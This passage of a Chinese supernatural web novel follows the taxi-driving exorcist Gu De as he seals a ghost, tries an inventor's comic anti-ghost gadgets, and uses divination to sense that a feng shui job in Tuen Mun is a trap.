“年……年轻人!别动手!有话可以好好说!我没说不想谈!我只是……我只是想拜托你们报个警!把我那对丧尽天良的儿子儿媳抓起来!
让他们受到应有的惩罚!只要你们答应帮我报警,我……我马上就出来,乖乖跟你去投胎!”
古德见状,嘴角勾起一抹淡淡的笑容。
其实要不是顾忌强行把鬼老太从它孙子体内逼出可能会伤及他孙子还没有发育好的肉身,他早就动手了。
现在对方愿意配合,自然最好。
“可以,你的条件我们接受了。”古德指了指身边的周星星,“这位就是如假包换的异灵灵异部门皇家警察。现在,请你先从你孙子身体里出来。”
鬼老太见古德答应,也不再挣扎。
只见一股灰黑色的烟气从小男孩的头顶缓缓飘出,凝聚成老阿婆模糊的鬼形。
小男孩则身子一软,晕倒在地。
周星星赶紧上前扶住他。
古德拿出一个小瓷瓶,瓶口对准那
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鬼老太:“进来吧。”
鬼老太留恋地看了一眼昏迷的孙子,叹了口气,化作一缕青烟,被吸入了瓶中。
古德盖好盖子,贴上一张镇魂符。
就在这时,电房虚掩的铁门外,突然传来“哐当”一声轻响,像是有人不小心踢到了什么东西,紧接着传来一阵慌乱的脚步声!
古德和周星星对视一眼,心道:“不好!有人偷听!”
两人反应极快,脚下同时发力,如同猎豹般冲了出去!
只见不远处,一男一女两个身影正惊慌失措地朝着楼道另一端狂奔!
显然,他们就是鬼老太口中那对“白眼狼”儿子儿媳,刚才一直在门外偷听!
古德冷哼一声,身形如电,几个大步就追到了那两人身后。
这两人又不是他们那**还能作妖的老妈,只是普通市民,哪里跑得过靠加点后,体质接近人类极限的古德?
古德先是飞起一脚,精准地踹在那个男人的腿弯处!
“哎哟!”男人惨叫一声,失去平衡,重重地扑倒在地。
几乎同时,古德手臂一伸,一个干净利落的擒拿手,扣住了那个女人的手腕,顺势一扭一按!
那女人吃痛,刚想尖叫挣扎,古德另一只手已经迅捷地在她后颈动脉处轻轻一按!
女人眼睛一翻,哼都没哼一声,软绵绵地晕了过去。
接着,古德一脚踩在刚刚挣扎着想爬起来的男人背上,稍稍用力,就让他动弹不得。
这一系列动作发生在电光火石之间,干净利落,毫不拖泥带水。
古德看着这对男女,应该就是回魂夜里****的那对夫妻。
不过他都来了,还能让他们两个逃脱去****,那也太看不起他了。
等周星星气喘吁吁地抱着那个昏迷的小男孩跑出来时,战斗已经结束了。
他目瞪口呆地看着被古德瞬间制服的两人,不可思议地叫道:“我靠!阿德!你……你什么时候变得这么能打了?这速度……你还是人吗?”
古德嘿嘿一笑,拍了拍手,故意调侃道:“早就让你多练练基础功,扎扎马步,跑跑步,你不听。看吧,现在虚了吧?才跑几步就喘成这样。”
周星星脖子一梗,死要面子地反驳道:“谁……谁虚了!我每天都精神抖擞,一柱擎天好吗!你别乱造谣啊!”
古德啧啧两声,懒得再跟他斗嘴,指了指地上那对男女:
“行了,别贫了。赶紧呼叫你们部门的人过来接手。这案子涉及**和灵异事件,归你们特别事务科管吧?”
周星星点了点头,掏出对讲机开始呼叫支援。
他看着地上昏迷的女人和被古德踩着的男人,又看了看怀里依旧昏睡、对家庭惨剧一无所知的小男孩,叹了口气:
“这孩子也是可怜……奶奶刚走,爸妈又要进去了。唉。”
第101章 纸扎陈的发明
古德开着车回到厚德邨楼下自己的出租车旁,没等多久,就看到周星星一边整理着他那件略显臃肿的空调风衣,一边小跑着过来。
“阿德!等等我!”
周星星拉开副驾驶的门,一屁股坐了进来,脸上又恢复了那副嬉皮笑脸的模样。
“送我一程呗,回警署!放心,车钱照付!”
说着,他很自觉地伸手,“啪”地一声按下了计价器。
古德看着他这熟练的动作,笑了笑:
“行啊,肥羊主动上门,哪有不载的道理。”
既然是熟人,古德也没刻意绕远路,但稍微调整了一下路线,避开了几个容易堵车的红绿灯,一路顺畅地开到了西九龙总区警署门口。
车子刚停稳,古德一抬头,正好看见谢潮带着两个人从警署大楼里走出来。
那两人,一个是穿着朴素、面带憨厚笑容的马季,另一个则是安静跟在马季身后、气质独特的蘑菇头青年石敢当。
“哟!这么巧?”
古德摇下车窗,探出头打了个招呼,“阿潮!马季!石敢当!”
马季看到古德,脸上立刻露出一种像是走后门被当场抓包的不好意思表情,挠了挠头,憨憨地笑道:
“古、古先生……您也在啊。我……我今天是来报到的。”
谢潮看到古德,也笑着走了过来,拍了拍车顶:“阿德,今天生意怎么样?”
古德用大拇指指了指刚从副驾下来的周星星,调侃道:“还行,刚宰了只肥羊,收获不错。”
说完,意有所指地瞟了周星星一眼。
周星星翻了个大大的白眼,把车费塞给古德,嘴里嘟囔着:“交友不慎,误交损友啊……”
然后快步走去警署里。
谢潮看着古德这辆略显老旧的出租车,又看了看神采奕奕的古德,忍不住再次旧事重提:
“阿德,说真的,你看马季都不开出租车来我这了?要不你也正式加入我们部门算了?以你的本事,开出租车太屈才了。你要来的话,我把异灵灵异的头让给你都行。”
古德闻言,立刻抬手做了个“打住”的手势,脸上露出一种虔诚的表情:
“打住打住!阿潮,这话我可跟你说过很多次了。我,古德,这辈子就爱开出租车!
方向盘在手,自由自在,穿街过巷,看尽香江百态,这感觉,给个处长我都不换!谁劝都没用!”
说完,他对着谢潮潇洒地做了个“再见”的手势,脚下油门一踩,出租车发出一阵低吼,熟练地汇入了马路上的车流,留下谢潮站在原地,无奈地摇头苦笑。
他是真想不明白,古德为什么对开出租车这份苦差事有这么深的执念,明明他随便接个风水单子或者抓个鬼,赚的钱都比开一个月车多多了。
车子驶离警署,古德的心情却不错。
刚开出去没多远,就在路边接到一个招手拦车的客人。
巧的是,客人的目的地就在纸扎陈店铺附近的一条街。
送完客人,古德看看时间还早,公里数也赚了不少,便决定先浅浅的偷个懒,把车停在纸扎陈铺子旁边的巷口。
他准备去找纸扎陈拿几个那种神奇的迷你符文小风扇。
那玩意儿可比装空调实惠多了,不用电、不烧油,往车座底下的阴影里一放,就能自动吹出凉爽的风,简直是出租车司机的夏日福音!
多弄几个,车里每个角落都放上,那滋味,想想都美。
他推开门,熟悉的檀香混合着纸张浆糊的气味扑面而来。
纸扎陈正背对着门口,站在工作台前,手里拿着一个……看起来非常像老式尿壶的东西,正对着灯光仔细端详,嘴里还念念有词。
听到门铃响,纸扎陈回过头,一见是古德,顿时眉开眼笑,像个献宝的孩子一样,举起手里的“尿壶”兴奋地说:
“哎呀!德仔!你来得正好!快来看看我最新研发的大杀器‘便携式高效灵体吸尘器’!怎么样,这造型,这线条,是不是很有创意?”
古德接过那个沉甸甸、泛着冷白光泽的壶,左看右看,横看竖看,这分明就是个做工精细点的夜壶啊!
他嘴角抽搐了一下,用极度怀疑的眼神看向纸扎陈:“陈老板……您确定这玩意儿不是您晚上起夜用的?这……这跟吸尘器有半毛钱关系吗?”
纸扎陈丝毫不在意古德的吐槽,反而兴致更高了,指着“壶”把手上的一个红色按钮,唾沫横飞地介绍:
“德仔,你这就不懂了吧!看这里!这个按钮,可是核心!只要轻轻一按——”
他做了一个按下的动作,“这里面刻画的‘强力收鬼符’就会启动,产生一股针对灵体的强大吸力!什么游魂野鬼,只要不是特别凶的,保证它毫无反抗之力,‘嗖’一下就被吸进来关住了!方便、快捷、环保!当然啦,”
他稍微收敛了点得意,补充道,“目前还在测试阶段,对付恶鬼以上的可能还差点火候,主要是壶身的材料承受力有限,还得改进改进。”
就在这时,一个穿着旧式工装、看起来迷迷糊糊的男游魂,慢悠悠地从门外飘了进来,怯生生地问
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:“老、老板……听说您这儿……能帮忙安排投胎?”
纸扎陈一看,乐了:“嘿!说来就来!正好给你演示一下!”
他一把从古德手里拿回“吸尘器”,对准那个男鬼,大拇指用力按下了把手上的按钮!
一秒……
两秒……
三秒……
“吸尘器”毫无反应,连个灯都没亮。
那个男鬼一脸茫然地站在原地,等着被“吸”。
纸扎陈脸上的笑容僵住了,又用力按了几下,还是没动静。
他尴尬地沉默了几秒钟,突然一拍大腿,恍然大悟:“哎呀!瞧我这记性!昨天测试完忘记给它充电了!怪不得启动不了!你等着啊小鬼,我这就去插上电,充个十分八分钟就能用了……哎?鬼呢?”
只见古德已经默默掏出了自己那个画着收鬼符的玻璃小瓶,瓶口对着那个还在状况外的男鬼。
那男鬼似乎觉得古德这边更靠谱,很配合地“嗖”一声就被吸了进去。
古德麻利地盖上盖子,贴好符纸。
古德看着纸扎陈那一脸“怎么会这样”的懵圈表情,终于忍不住,“噗嗤”一声笑了出来。
他赶紧捂住嘴,但肩膀还是控制不住地抖动。
憋笑挑战吗?那他输了!
果然还得是你啊,达文西。
“咳咳……”古德强忍住笑意,决定不再看纸扎陈继续表演,直接说明来意,“陈老板,玩笑开完了。说正事,我是来跟你买几个那种迷你符文小风扇的,还有存货吗?多少钱一个?”
纸扎陈一听古德是来买小风扇的,愣了一下,随即从工作台底下摸出两个巴掌大、叶片精致的小风扇递给古德:
“哦,这个啊,还有两个。德仔你眼光不错,这小东西虽然是我做着玩的,但挺好用。不过……”
他话锋一转,脸上又露出了那种“我有更好的宝贝”的神秘表情,压低声音道,“这风扇其实是个失败品!散热效果还是不够理想!德仔,我给你看看真正的大宝贝!”
古德刚想说“不用了,风扇就挺好”,纸扎陈已经兴冲冲地转身钻进了里间。
没过一会儿,他双手捧着两样东西走了出来,一只是闪烁着银白色金属光泽、造型有点像摩托赛车手套的露指手套;另一副,则是周星星早上戴过的那种大号黑色盲公镜。
古德看着这两样东西,眉头不禁挑了起来。
这老爷子,又捣鼓出什么新奇玩意儿了?
他抱着胳膊,好整以暇地看着纸扎陈,等着他接下来的产品发布会。
第102章 令人震惊的手段
纸扎陈捧着那两件新“发明”,献宝似的凑到古德面前,脸上洋溢着创造者的自豪光芒。
他清了清嗓子,开始如数家珍地介绍起来:
“德仔,这两样可是好东西,是我研究了你好心给我的那本符箓册子后,优化升级的2.0版本!”
他先拿起那只银光闪闪的露指手套,在古德眼前晃了晃,“你看这个,我管它叫‘绒里追魂手套2.0’!以前那种普通手套,最多让你能摸到鬼,没啥杀伤力。但这个升级版可不一样!”
他小心翼翼地翻开口袋边缘,露出里面用特殊丝线绣制的、若隐若现的复杂符文:
“瞧见没?我把辟邪符的核心符文,用掺了香炉灰和特殊金属粉末的灵线,直接绣在了手套的内衬里!
这样一来就不一次性的符纸,戴上它,一拳打过去,不仅能把鬼揍得结结实实,还能附带辟邪灼烧效果!
保证打得那些恶鬼嗷嗷叫,保守估计,正常使用的话,能撑个一个月!”
纸扎陈嘿嘿一笑,露出两排白牙,显得颇为得意。
接着,他又拿起那副黑色盲公镜:
“再看看这个!‘见鬼眼镜2.0’!镜框是纯银打造的,分量足,本身就能辟邪。关键在这镜片上!”
他指着那漆黑的镜片,“外面看着跟墨镜似的,啥也看不见对吧?但你从里面往外看,清晰得跟没戴一样!”
“而且镜片内侧我用微雕技术刻了开眼符的阵纹,戴上它,不用念咒施法,就能直接看透虚妄,识破鬼物的伪装!有了他,就算是普通司机晚上出车,也不怕有‘好兄弟’扮成美女拦车了!”
纸扎陈介绍完,一脸快夸我的表情看着古德。
古德听完,心里确实佩服得紧。
这老爷子,虽然还没有修出法力,但这炼器制物的天赋和奇思妙想,真是绝了!
他由衷地竖起大拇指,赞叹道:“陈老板,高!实在是高!你真**是个天才发明家!”
纸扎陈故作谦虚地摆摆手,但脸上那藏不住的笑意和微微扬起的下巴,彻底出卖了他内心的得意:“哎呀,过奖过奖,就是随便琢磨琢磨,小玩意儿,小玩意儿而已……”
赞叹过后,古德问出了他心中盘旋已久的最大疑问:
“陈老板,说实话,我挺好奇的。我看您修炼那呼吸法,法力根基好像还没完全稳固,按理说支撑不起这么精细的法器炼制。您到底是怎么……把这些法器做得这么灵验的?这里头有什么诀窍吗?”
听到这个问题,纸扎陈脸上的笑容收敛了一些,他左右看了看,确认铺子里没别人,然后神秘兮兮地凑近古德,压低了声音,仿佛要分享什么惊天大秘密:
“德仔,这话也就是你问,换别人,我肯定打哈哈糊弄过去。既然你诚心问,我就悄悄告诉你,你可别往外传。”
古德立刻配合地做出洗耳恭听的专注神态。
纸扎陈声音更低了,几乎成了气音:
“我这不是在异灵灵异部门干了十几年部门领导。我稍微动了一点手段,跟日不落上面……算是有了点比较深的‘挂钩’。而且我机缘巧合,还掌握了一种……嗯,算是禁忌的法门吧。”
他顿了顿,似乎在斟酌用词:“通过这个法门,我可以……比较稳定地,从日不落帝国那边,截取一丝丝他们残留的国运,然后巧妙地融入到我制作的这些法器胚胎里。”
古德闻言,心中一震,大感惊讶!
他没想到,在这个灵气衰微、道法没落的世界,居然还存在如此诡异而强大的法门!
这简直是另辟蹊径,借力打力!
纸扎陈继续解释道:
“你想啊,国运这东西,哪怕只是残留的一丝丝,那也是汇聚了亿万生灵信念和王朝气数的力量,本质至正至大,用来驱邪辟易,效果比单纯的法力还好!
而且,借助这种‘外力’,我自身消耗的心神就少得多,主要精力可以放在设计和制作工艺上。”
古德消化着这个惊人的信息,追问道:“那……这种禁忌法门,对你自身会不会有什么不好的影响?还有,那边……不会察觉到吗?”
纸扎陈脸上露出一种混合着不屑和狡黠的表情,哼了一声:
“就那帮西洋蛮子?他们哪懂咱们东方玄学的这些门道!整天就知道什么吸血鬼、狼人那套。
再说,
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他们自己的国运本来就在不断衰退,我截取的这点,对他们来说就像从大海里舀了一勺水,根本察觉不到。要说影响嘛……也不是完全没有。”
他摸了摸下巴,语气变得稍微严肃了点:
“用了他们的国运,自然就跟他们产生了一丝难以断开的联系。万一……我是说万一啊,哪天日不落帝国倒了大霉,气运彻底崩盘,我这边可能会受到一点反噬。不过……”
他话锋一转,又轻松起来,“那都是猴年马月以后的事了,真到那时候,我老头子估计早就下去跟阎王爷喝茶了,这点反噬,**毛雨啦,基本可以忽略不计!”
古德听完这番解释,忍不住再次由衷赞叹:“厉害!不愧是你啊,陈老板!这种法子都能想出来,还能实际操作,真是……艺高人胆大!”
纸扎陈嘿嘿一笑,带着点小得意:“那是!不过这事儿你知道就行,可别给我宣传出去。”
这时,纸扎陈又想起了他那件“划时代”的发明,转身拿起那个已经充好电、依旧像夜壶多过像吸尘器的家伙,热情地推销道:
“对了德仔,你看这个‘便携式高效灵体收纳器’也充好电了,功能绝对强劲!里面空间大,装个几十只游魂野鬼不成问题!你要不要拿回去试用一下?效果包你满意!”
古德看着那个造型清奇的“吸尘器”,脸上写满了抗拒,连忙摆手,同时快速拿起桌上那两个迷你小风扇,塞进兜里:
“别别别!陈老板,您的好意我心领了!这吸尘器……造型太前卫,我用不惯!我还是用我的小瓷瓶顺手。那什么,我忽然想起还有点急事,先走了哈!风扇钱下次一起算!下次再聊!”
说完,不等纸扎陈再挽留,古德转身就往店外溜,脚步飞快,仿佛生怕被那“吸尘器”沾上似的。
纸扎陈看着古德仓皇离去的背影,失望地叹了口气,自言自语地嘀咕道:“唉,看来这收鬼吸尘器的外观设计……还有待改善啊。下次是不是该做成手提箱的样式?”
他的话音未落,刚跑出去没一分钟的古德,竟然又匆匆忙忙地折返了回来,脸上带着一丝古怪和急切的神情。
第103章 郑立介绍的生意
古德匆匆折返,直奔纸扎陈店里那部老式转盘电话。
他对正抻着脖子好奇看来的纸扎陈比了个手势:"陈老板,电话借急用。"
指尖在转盘齿孔间拨转出熟悉的韵律,听筒里刚传来接通的电流声,他便开门见山:"阿立,什么事火急火燎的?"
"阿德!你午后得空否?"郑立的声音带着明显的焦灼,"那位要看风水的阔主顾方才又来电催促,听腔调事态似又恶化,急得如同热锅蚂蚁!"
古德指节轻叩柜台:"不过是调理阳宅气场,何至于此?"
郑立沉默了一下,压低声音道:“恐怕……不单单是风水问题。我听他话里的意思,他们家……好像还撞鬼了!而且不止一次,最近闹得特别凶!”
“撞鬼?”
古德一听,眉头一挑,来了精神,"若是寻常看风水,原定酬劳照旧。但若涉及驱邪镇煞——"他指尖无意识划过电话线缠绕的纹路,"得加钱。"
此刻他正愁寻不着赚阴德、敛钱财的门路,这肥羊竟自投罗网。
郑立犹豫了一下,回应道:“这个……客户没明确说,但我感觉是。这样,阿德你等我一下,我马上再打个电话跟他确认清楚,毕竟涉及到价格变动。你方便等我回电吗?”
“行,我就在陈老板这儿,你问清楚了打过来。”古德说完,挂断了电话。
等待的时间里,纸扎陈凑过来,挤眉弄眼地调侃道:
“可以啊德仔,生意一单接一单。刚从我这儿赚了八十八万,这次看来又能捞一大笔。你手里的钱,够在郊区买栋不错的村屋或者小别墅了吧?要不要老头子我给你介绍几个楼盘?我有熟人在做地产。”
古德摇摇头,坦诚道:“陈老板,您就别拿我开玩笑了。现在的楼价,我那点钱,想买栋合心意的独立屋,还差得远呢。”
纸扎陈却慢条斯理地抿了口茶,悠悠地道:
“正常的房子你当然买不起。但你可以考虑凶宅啊!以你的本事,凶宅对你来说,不就是最实惠的选择吗?说不定原主人家还巴不得有人接手呢!”
他放下茶杯,压低声音,带着点神秘感:
“我正好知道一栋,在元朗那边,两层高的小洋楼,还带个大院子。就是……听说不太干净,前后换了几任业主都住不长,价格压得很低。怎么样,有兴趣没?”
古德闻言一愣,随即豁然开朗!
对啊!怎么把这茬给忘了!
凶宅!对于普通人来说是噩梦,但对于他这种专业驱邪人士来说,简直是性价比之王!
不仅能低价买到心仪的房产,说不定清理掉里面的“原住民”后,还能额外赚一笔阴德!
纸扎陈这思路,一下就把他的任督二脉……不对,是买房思路给打通了!
古德立刻拍板:“陈老板,您说得太对了!那就麻烦您老帮我留意着,有空带我去看看那栋元朗的洋楼!”
纸扎陈露出一副“孺子可教”的满意表情。
就在这时,电话铃声再次响起。
纸扎陈接起来听了两句,便把话筒递给古德:“找你的,是郑立。”
古德接过电话:“喂,阿立,怎么说?”
郑立的声音带着兴奋:“搞定了阿德!对方很爽快,一听你能解决‘那些东西’,直接加价到两百万港币!只要你能彻底解决他们老宅的问题!”
古德心中暗喜,表面却不动声色:“行,这个价格可以。地址发我,我现在过去接你,一起去看看情况。”
“好嘞!我在仁爱医院门口等你,麻烦你了阿德。”郑立报了个地址。
挂掉电话,古德和纸扎陈道别,拿起那两个迷你风扇,开车前往医院接上郑立。
郑立上车后,古德很自然地“啪”一声按下了计价器。
郑立见状,也只是笑了笑,没说什么,毕竟这是古德的职业习惯。
根据郑立的指引,车子朝着新界屯门的方向驶去。
目的地是屯门著名的志乐别墅区。
这个别墅区建于七八十年代,是早期富豪青睐的居住地,每栋别墅都占地颇
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广,依山而建,掩映在绿树丛中,私密性极好。
但也正因为如此,别墅之间距离很远,远离市区喧嚣,显得格外幽静,甚至有些……人烟稀少。
随着车子逐渐驶入屯门,远离了市区的繁华,道路两旁的树木越发茂密,环境越发清幽。
然而,古德心中那股隐隐的不安感却越来越清晰,如同心头蒙上了一层淡淡的阴影。
那种感觉很奇怪.....
不是恐惧,而是一种深藏在灵觉深处的压抑与预警,仿佛冥冥之中,有什么东西在暗示他。
随着车速平稳下降,他的手指轻轻一紧,猛地踩下刹车。
“吱——”
车轮摩擦地面的尖锐声响,车辆稳稳停在路边。
副驾上的郑立被这突如其来的停车吓了一跳,手中的水瓶差点甩出去。
他转过头,有些疑惑地问道:“阿德,怎么了?车出问题了?”
古德眉头微蹙,没有立刻回答。
他静静地坐在驾驶座上,眉头紧锁,双眼微眯,仿佛在感知什么。
那是修行者特有的直觉,一种源自灵识的危险感应。
他缓缓呼出一口气,转头看向郑立,语气低沉:“阿立,你之前亲自去过那位郑先生家吗?当时有没有感觉到什么……不太对劲的地方?”
郑立被问得一愣,挠了挠脑袋,回想片刻:
“去过一次,就在客厅谈了会儿生意。那房子挺大,就是有点凉,跟外面温差挺大。那种凉,不像空调风,更像是……老宅子那种阴凉气。我还以为是风水不通畅导致的。”
古德缓缓摇头,语气凝重:“恐怕没那么简单。我心里有种不太好的预感。”
沉默片刻后,他忽然说道:“阿立,你等我一下,我需要静一静。”
说完,古德闭上眼睛,意识沉入脑海,唤出了那半透明的系统面板。
遇到搞不清的状况怎么办?
对于他这种“系统派”选手,最好的办法就是临时抱佛.....是临时找系统!
抱佛脚哪有抱系统大腿来得实在?
再说他也不是修佛的!
第104章 灵觉示警,梅花易数
系统界面展开,熟悉的技能树浮现在眼前。古德思绪飞快转动:
“直觉的不安,多半和命理相关。要么是天机感应,要么是劫数将临……那就从‘卜’与‘命’两支下手。”
念头一动,他点开对应分支。
“《周易》……作为万经之首,群经之始,一切术数的总源头。不管什么,都绕不开,先点周易到LV2,既然要推算未知,那就先打稳基础。””
【消耗公里点数110点,《周易》提升至LV2(熟练)。】
瞬间,一股庞大的信息洪流灌入脑海。
阴阳消长、八卦变化、六十四卦的爻辞、象数理占的逻辑在他脑海中重组。
仿佛有一位易学宗师,正对他娓娓道来天地之数的秘密,而他也孜孜不倦的学了5年。
古德眼角微微一跳,继续操作。
“光有理论不够,还得有配套的工具。阴阳五行学说和天干地支系统,也点到LV1(入门)。”
【消耗公里点数10点,**得阴阳五行学说LV1(入门)。】
【消耗公里点数10点,**得天干地支系统LV1(入门)。】
接着关于金木水火土的生克制化、干支纪年、时辰方位等知识也随之印入心中。
庞大的信息流冲击着他的意识,幸好之前将精神属性加到了8点,思维速度和承受能力都增强了不少,现在也只是感觉脑袋有些发胀。
“基础打好了,现在需要一个实用的占卜法……嗯.....就选梅花易数,讲究‘简易、变易、不易’,随心起卦,灵活机变,正适合现在这种情况。这个也点到LV2(熟练)!”
【消耗公里点数110点,梅花易数提升至LV2(熟练)。】
顿时,一股清凉的灵光从眉心闪过。
观物取象、体用生克、纳甲断卦的经验仿佛是他亲身修炼了十年一般,娴熟自然。
天地阴阳在他心中流转,像是开启了一扇通往“玄门”的窗,他看待世间的角度忽然变得立体、深邃,凡事皆有“象”,万物皆可为“卦”。
一番操作下来,公里点数还剩下400多点。
古德深吸一口气,缓缓睁开双眼。
就在他睁眼的刹那,目光无意中瞥向车窗外天空。
一朵孤零零、边缘带着些许灰暗的乌云,正缓缓飘过前方不远处的山峦。
心随卦起,象由心生!
古德心念微动,刚学会的梅花易数自行运转,以那“初见乌云”为外应,心中一瞬推演成卦。
“乌云属坎,坎者,水也。主险陷、主忧惧、主潜伏。”
坎卦一出,象征前路多险、有暗流伏藏。
且乌云蔽日,光明被遮,乃“明受阻、阴气盛、小人作梗”之象。
他的眉头顿时皱得更紧了,脸色也严肃起来。
副驾驶上的郑立察觉到了异样,担心地问道:
“阿德,是不是……有什么不好的事情了?要不……我们今天先不去了?我跟客户解释一下,改天再说?”
古德摇了摇头,勉强笑了笑,安抚郑立道:“别担心,阿立。只是有些地方我没想明白,我得捋一捋思路。”
他推开车门,“我下车抽根烟,冷静一下。去不去,等我抽完烟再决定。”
下午的阳光充足,晒个人心头烦躁,好在古德停的是一个树荫下。
他靠在车门边,点燃香烟,火星在指尖一闪。
他深吸一口气,烟雾混着阳光扭曲,再在他眼前飘散,思绪也随之游离。
“按理说,以我现在的修为和装备,就算真遇上厉鬼级的,也能安然脱身。只要不主动去招惹‘楚人美’、‘海魔’那种级别的鬼王,在香江地界我应该是随意浪才对。”
他垂眸暗道,眸色微沉。
可偏偏,这单看似普通的驱邪委托,让他从一开始就心生警兆,连卦象都显凶险。
“为什么……这次心里总觉得不对劲?连卦象都警示有凶险?”
他揉了揉眉心,烦躁地吐出一口烟气。
“屯门……志乐别墅……富豪……闹鬼……坎卦示险陷……”
各种线索在脑中盘旋,却始终抓不住那个关键点。
就在他百
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思不得其解,心情有些烦躁之际,目光无意间扫过路边的地面。
一只微小的蚂蚁,正在拼命挣扎。
它不知何时爬进了一坨被人丢弃的口香糖残渣中,六条细腿被黏稠的糖胶牢牢困住。
它拼尽全力,却只能在原地微微颤动,越挣扎,陷得越深。
那小小的身影,陷入绝境,充满了无助和绝望。
古德盯着那只被困的蚂蚁,怔怔地出神。
他怔怔地望着那只蚂蚁,心中忽然灵光一闪。
这不是预兆,而是暗喻!
坎为陷,为困,为险,为囚。
他重新起卦,思路豁然开朗:这股危险感,不是巧合。
他不是路过危险,而是被人布下的局。
“一个针对我的局。”
古德喃喃自语,眼神瞬间冷了下来。
谁会费尽心机设下陷阱?
答案呼之欲出!怪谈协会!
自己接连破坏了他们在“找替身”、还有那“鬼蜮赌鬼”等多处的布局,还超度了他们不少成员。
这个隐藏在暗处的组织,显然已经将他视为眼中钉、肉中刺,必欲除之而后快。
“呵,到底还是被这群阴沟里的老鼠盯上了。”
古德心中冷笑。
他清楚,这种阴暗势力从来不会善罢甘休。
就算这次凭直觉和卦象避过一劫,也终究会有下一次、下下次。
被动防御,永远防不胜防。
既然对方已经出招,并且这次被他提前窥破了一丝端倪,那就该……顺势入局。
“与其被动接招,不如……主动出击!”古德眼中闪过一丝狠意。
他要利用这次机会,反客为主,将这精心布置的陷阱,变成埋葬对手的坟墓!
必须想办法重创甚至一次性解决掉怪谈协会这个麻烦,否则永无宁日!
思路一旦清晰,行动便有了方向。
古德没有犹豫,快步走向不远处的一个红色公共电话亭。
他投入硬币,快速拨通了一个号码,低声而清晰地交代了几句,然后挂断电话。
这是他的后手安排。
第105章 郑家父子
回到出租车时,郑立正皱着眉,神色惴惴不安。
古德坐进驾驶位,沉默了两秒,忽然转头,语气异常认真:
“阿立,有件事我得提前告诉你。我们要去的地方……恐怕不是普通的风水问题。”
郑立愣住:“啊?”
“很可能是一个针对我的陷阱。”古德语气低沉,却每个字都沉甸甸的,“那地方里头的东西,不简单。危险程度,远超寻常撞邪。你现在改变主意还来得及,我不强求,安全最重要。”
这话让郑立整个人都懵了。
他张了张嘴,半天才结巴着说:“陷……陷阱?阿德你确定?为什么会有人要害你?”
古德没有立刻回答,只是双手搭在方向盘上,目光透过挡风玻璃投向远方屯门的方向,语气平静得像是在陈述事实:
“直觉,还有卦象。很多东西我现在还不能说透,但危险确实存在。你是普通人,不该卷进这种事。”
郑立脸上顿时写满了纠结和挣扎。
古德说是陷阱,那危险性可想而知,他一个靠嘴皮子吃饭的殡仪馆经理,手无缚鸡之力,去了岂不是送菜?
可如果不去,古德会不会觉得他胆小怕事、不讲义气?
以后还能不能抱紧这根大腿?
古德看出了他内心的天人交战,拍了拍他的肩膀,宽慰地笑了笑:
“阿立,别胡思乱想。就算你不去,我也完全理解,绝不会怪你。安全第一。”
然而,郑立沉默了片刻,眼神逐渐变得坚定起来。
他想到了日益混乱的香江,想到了自己心爱的女友阿红。
想要在这个灵异频发的世界里保护好自己和所爱的人,仅仅靠运气是不够的,必须要有强大的依靠。
而古德,无疑是最值得信赖和投资的那个!风险往往与机遇并存!
他深吸一口气,转向古德,语气异常认真:
“不,阿德,我跟你去!如果我不出现,对方可能会起疑心,打草惊蛇。我虽然帮不上什么大忙,但至少可以帮你打打掩护,配合你演戏。我相信有我在旁边策应,你的计划成功率会更高!”
古德看着郑立眼中那份豁出去的决心,心中微暖,笑了笑,没再劝他。
既然同伴选择了信任和同行,他自然要尽力护其周全。
“好!那我们就一起去会会这个‘龙潭虎穴’。”
古德从随身挎包里掏出五张绘制精良、灵光内蕴的护身符,递给郑立,“把这几张符贴身收好,千万不能离身。接下来,除非我让你离开,否则不要走出我身边一米的范围。记住没?”
郑立双手郑重地接过符箓,感受到黄纸上传来的淡淡暖意,紧张地咽了口唾沫,用力点头:“记住了!阿德你放心,我肯定紧紧跟着你!”
车子再次启动,朝着志乐别墅区深处驶去。
最终,在一栋看起来有些年头、外墙爬满藤蔓、透着几分阴森气息的独立别墅门前停了下来。
两人刚下车,别墅那扇厚重的雕花铁门便“吱呀”一声打开了。
一对穿着讲究、但面色似乎有些过于苍白的中年父子站在门口等候。
那位年长的约莫五十出头,身材略显肥胖,穿着一套剪裁考究的深灰色西装,胸口的金表链在灯光下闪着微光。
脸上带着生意人惯有的客气笑容,然而那双笑意盈盈的眼睛深处,却藏着一丝不易察觉的焦躁与不安。
站在他身侧的年轻男子约莫二十七八岁,眉目俊朗,气质儒雅,隐约带着些混血的轮廓。
他身穿挺括的西装,系着深蓝领带,神情克制,微微颔首,礼貌地打量着来客。
这两人古德都有些眼熟,但是又记不起来,想必也是某一部电影里的人物。
郑立连忙上前一步,满脸堆笑地介绍道:
“阿德,这位就是郑志昌郑先生,旁边是他儿子郑国权。郑先生,这位便是我请来的古德——古大师。”
古德脸上挂着淡淡的职业化笑意,神情平和地微微一拱手:“郑先生,郑公子。”
郑志昌立刻迎了上来,双手紧紧握住古德的手,热情得近乎过头。
“哎呀,这位就是古大师?果然是一表人才,气度非凡!久仰久仰!我们家这桩麻烦事,可就全仰仗大师您出手相助啊!”
他的手掌有些冰凉,而且握得有些过于用力,仿佛想借此传递某种急切的心情。
古德心中微微一动,却不露声色,淡淡一笑,抽回手:“郑先生客气了,这是分内之事。我先从车上拿下吃饭的家伙。”
说完,他走向出租车后备箱。
“吃饭的家伙?”郑国权一愣,略显疑惑地对视了父亲一眼。
下一秒,他们就亲眼见到古德从车里拖出一个几乎与成年人等高的黑色硬壳琴盒。
那琴盒表面反着幽光。
郑志昌父子俩的眼睛瞬间瞪圆了,脸上写满了惊愕和
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不可思议。
这玩意儿……怎么看都不像是普通道士随身法器的体积啊?
古德神色淡然,单手提起那沉甸甸的琴盒,熟练地背到肩上。
这是特意找纸扎陈改装过的“百宝箱”,里面不仅塞满了各种符箓、法器,最关键的是,那柄沉重的青铜法尺剑也稳妥地安置其中,尺寸刚好能放入后备箱。
除此之外,他还斜挎着一个淡黄挎包,里头放着些随身必备的小物与符具。
郑志昌嘴角抽搐了一下,勉强挤出一个笑容,语气古怪地赞叹道:“古大师……还真是……非同常人啊!请请请,快屋里请!”
古德笑了笑,没多做解释,跟着郑家父子走进别墅庭院。
别墅外观看似气派,然而一踏入正门,一股夹杂着潮湿、霉意与陈年木香的阴冷气息便扑面而来,凉意钻骨,仿佛从盛夏骤然坠入深秋。
脚下的地砖泛着细微的冷光,墙角的盆栽早已枯黄,空气中弥漫着微弱的腐朽味。
古德眼神一凝。
外头的气息尚属平常,可一入屋,这阴气之浓,简直像是被刻意锁在此处,凝而不散,诡异非常。
